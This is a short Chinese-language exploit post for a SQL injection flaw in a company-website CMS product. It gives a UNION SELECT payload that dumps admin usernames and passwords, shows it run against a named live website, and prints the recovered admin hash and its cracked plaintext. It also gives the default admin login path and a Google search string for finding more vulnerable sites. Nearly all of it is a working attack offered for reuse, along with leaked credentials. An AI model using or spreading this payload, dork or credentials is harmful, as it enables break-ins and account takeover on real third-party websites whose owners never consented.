深天特科技企业网站系统sql注入漏洞

深天特科技企业网站系统sql注入漏洞

exp:
and 1=2 union select 1,username,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

爆不出自行猜下字段。

测试网站:
http://www.iick.blog/products_show.asp?p_id=30and1=2unionselect 1,username,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

爆出帐号：admin 密码：1340ed9c01fa778f   cmd5解密：wooger

默认后台：/admin/admin_login.asp

关键词：谷歌 inurl:products_show.asp?p_id=